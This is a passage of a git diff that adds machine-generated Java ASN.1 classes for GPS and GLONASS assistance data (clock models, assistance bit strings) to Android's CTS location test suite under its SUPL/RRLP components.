+ + getGloGamma().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getGloDeltaTau() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getGloDeltaTau();
+ }
+
+ @Override public void setToNewInstance() {
+ setGloDeltaTauToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GLONASSclockModel.gloDeltaTauType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "gloDeltaTau : "
+ + getGloDeltaTau().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloTauType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloTauType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloTauType() {
+ super();
+ setValueRange("-2097152", "2097151");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloTauType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloTauType != null) {
+ return ImmutableList.of(TAG_gloTauType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloTauType from encoded stream.
+ */
+ public static gloTauType fromPerUnaligned(byte[] encodedBytes) {
+ gloTauType result = new gloTauType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloTauType from encoded stream.
+ */
+ public static gloTauType fromPerAligned(byte[] encodedBytes) {
+ gloTauType result = new gloTauType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloTauType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloGammaType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloGammaType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloGammaType() {
+ super();
+ setValueRange("-1024", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloGammaType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloGammaType != null) {
+ return ImmutableList.of(TAG_gloGammaType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloGammaType from encoded stream.
+ */
+ public static gloGammaType fromPerUnaligned(byte[] encodedBytes) {
+ gloGammaType result = new gloGammaType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloGammaType from encoded stream.
+ */
+ public static gloGammaType fromPerAligned(byte[] encodedBytes) {
+ gloGammaType result = new gloGammaType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloGammaType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class gloDeltaTauType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_gloDeltaTauType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public gloDeltaTauType() {
+ super();
+ setValueRange("-16", "15");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_gloDeltaTauType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_gloDeltaTauType != null) {
+ return ImmutableList.of(TAG_gloDeltaTauType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new gloDeltaTauType from encoded stream.
+ */
+ public static gloDeltaTauType fromPerUnaligned(byte[] encodedBytes) {
+ gloDeltaTauType result = new gloDeltaTauType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new gloDeltaTauType from encoded stream.
+ */
+ public static gloDeltaTauType fromPerAligned(byte[] encodedBytes) {
+ gloDeltaTauType result = new gloDeltaTauType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "gloDeltaTauType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GLONASSclockModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistance.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistance.java
new file mode 100755
index 0000000..144d397
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistance.java
@@ -0,0 +1,109 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GPSAssistance extends Asn1BitString {
+ //
+
+ private static final Asn1Tag TAG_GPSAssistance
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSAssistance() {
+ super();
+ setMinSize(1);
+setMaxSize(16);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSAssistance;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSAssistance != null) {
+ return ImmutableList.of(TAG_GPSAssistance);
+ } else {
+ return Asn1BitString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSAssistance from encoded stream.
+ */
+ public static GPSAssistance fromPerUnaligned(byte[] encodedBytes) {
+ GPSAssistance result = new GPSAssistance();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSAssistance from encoded stream.
+ */
+ public static GPSAssistance fromPerAligned(byte[] encodedBytes) {
+ GPSAssistance result = new GPSAssistance();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "GPSAssistance = " + getValue() + ";\n";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistanceData.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistanceData.java
new file mode 100755
index 0000000..5e3219f
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSAssistanceData.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1OctetString;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class GPSAssistanceData extends Asn1OctetString {
+ //
+
+ private static final Asn1Tag TAG_GPSAssistanceData
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSAssistanceData() {
+ super();
+ setMinSize(1);
+setMaxSize(40);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSAssistanceData;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSAssistanceData != null) {
+ return ImmutableList.of(TAG_GPSAssistanceData);
+ } else {
+ return Asn1OctetString.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSAssistanceData from encoded stream.
+ */
+ public static GPSAssistanceData fromPerUnaligned(byte[] encodedBytes) {
+ GPSAssistanceData result = new GPSAssistanceData();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSAssistanceData from encoded stream.
+ */
+ public static GPSAssistanceData fromPerAligned(byte[] encodedBytes) {
+ GPSAssistanceData result = new GPSAssistanceData();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override protected String getTypeName() {
+ return "GPSAssistanceData";
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSClockModel.java b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSClockModel.java
new file mode 100755
index 0000000..b30300a
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/rrlp_components/GPSClockModel.java
@@ -0,0 +1,729 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.rrlp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class GPSClockModel extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_GPSClockModel
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public GPSClockModel() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_GPSClockModel;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_GPSClockModel != null) {
+ return ImmutableList.of(TAG_GPSClockModel);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new GPSClockModel from encoded stream.
+ */
+ public static GPSClockModel fromPerUnaligned(byte[] encodedBytes) {
+ GPSClockModel result = new GPSClockModel();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new GPSClockModel from encoded stream.
+ */
+ public static GPSClockModel fromPerAligned(byte[] encodedBytes) {
+ GPSClockModel result = new GPSClockModel();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return false;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private GPSClockModel.af2Type af2_;
+ public GPSClockModel.af2Type getAf2() {
+ return af2_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSClockModel.af2Type
+ */
+ public void setAf2(Asn1Object value) {
+ this.af2_ = (GPSClockModel.af2Type) value;
+ }
+ public GPSClockModel.af2Type setAf2ToNewInstance() {
+ af2_ = new GPSClockModel.af2Type();
+ return af2_;
+ }
+
+ private GPSClockModel.af1Type af1_;
+ public GPSClockModel.af1Type getAf1() {
+ return af1_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSClockModel.af1Type
+ */
+ public void setAf1(Asn1Object value) {
+ this.af1_ = (GPSClockModel.af1Type) value;
+ }
+ public GPSClockModel.af1Type setAf1ToNewInstance() {
+ af1_ = new GPSClockModel.af1Type();
+ return af1_;
+ }
+
+ private GPSClockModel.af0Type af0_;
+ public GPSClockModel.af0Type getAf0() {
+ return af0_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSClockModel.af0Type
+ */
+ public void setAf0(Asn1Object value) {
+ this.af0_ = (GPSClockModel.af0Type) value;
+ }
+ public GPSClockModel.af0Type setAf0ToNewInstance() {
+ af0_ = new GPSClockModel.af0Type();
+ return af0_;
+ }
+
+ private GPSClockModel.tgdType tgd_;
+ public GPSClockModel.tgdType getTgd() {
+ return tgd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a GPSClockModel.tgdType
+ */
+ public void setTgd(Asn1Object value) {
+ this.tgd_ = (GPSClockModel.tgdType) value;
+ }
+ public GPSClockModel.tgdType setTgdToNewInstance() {
+ tgd_ = new GPSClockModel.tgdType();
+ return tgd_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getAf2() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAf2();
+ }
+
+ @Override public void setToNewInstance() {
+ setAf2ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSClockModel.af2Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "af2 : "
+ + getAf2().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getAf1() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAf1();
+ }
+
+ @Override public void setToNewInstance() {
+ setAf1ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSClockModel.af1Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "af1 : "
+ + getAf1().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getAf0() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getAf0();
+ }
+
+ @Override public void setToNewInstance() {
+ setAf0ToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSClockModel.af0Type.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "af0 : "
+ + getAf0().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getTgd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getTgd();
+ }
+
+ @Override public void setToNewInstance() {
+ setTgdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? GPSClockModel.tgdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "tgd : "
+ + getTgd().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class af2Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_af2Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public af2Type() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_af2Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_af2Type != null) {
+ return ImmutableList.of(TAG_af2Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new af2Type from encoded stream.
+ */
+ public static af2Type fromPerUnaligned(byte[] encodedBytes) {
+ af2Type result = new af2Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new af2Type from encoded stream.
+ */
+ public static af2Type fromPerAligned(byte[] encodedBytes) {
+ af2Type result = new af2Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "af2Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class af1Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_af1Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public af1Type() {
+ super();
+ setValueRange("-32768", "32767");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_af1Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_af1Type != null) {
+ return ImmutableList.of(TAG_af1Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new af1Type from encoded stream.
+ */
+ public static af1Type fromPerUnaligned(byte[] encodedBytes) {
+ af1Type result = new af1Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new af1Type from encoded stream.
+ */
+ public static af1Type fromPerAligned(byte[] encodedBytes) {
+ af1Type result = new af1Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "af1Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class af0Type extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_af0Type
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public af0Type() {
+ super();
+ setValueRange("-2097152", "2097151");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_af0Type;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_af0Type != null) {
+ return ImmutableList.of(TAG_af0Type);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new af0Type from encoded stream.
+ */
+ public static af0Type fromPerUnaligned(byte[] encodedBytes) {
+ af0Type result = new af0Type();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new af0Type from encoded stream.
+ */
+ public static af0Type fromPerAligned(byte[] encodedBytes) {
+ af0Type result = new af0Type();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "af0Type = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class tgdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_tgdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public tgdType() {
+ super();
+ setValueRange("-128", "127");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_tgdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_tgdType != null) {
+ return ImmutableList.of(TAG_tgdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new tgdType from encoded stream.
+ */
+ public static tgdType fromPerUnaligned(byte[] encodedBytes) {
+ tgdType result = new tgdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new tgdType from encoded stream.
+ */
+ public static tgdType fromPerAligned(byte[] encodedBytes) {
+ tgdType result = new tgdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "tgdType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("GPSClockModel = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
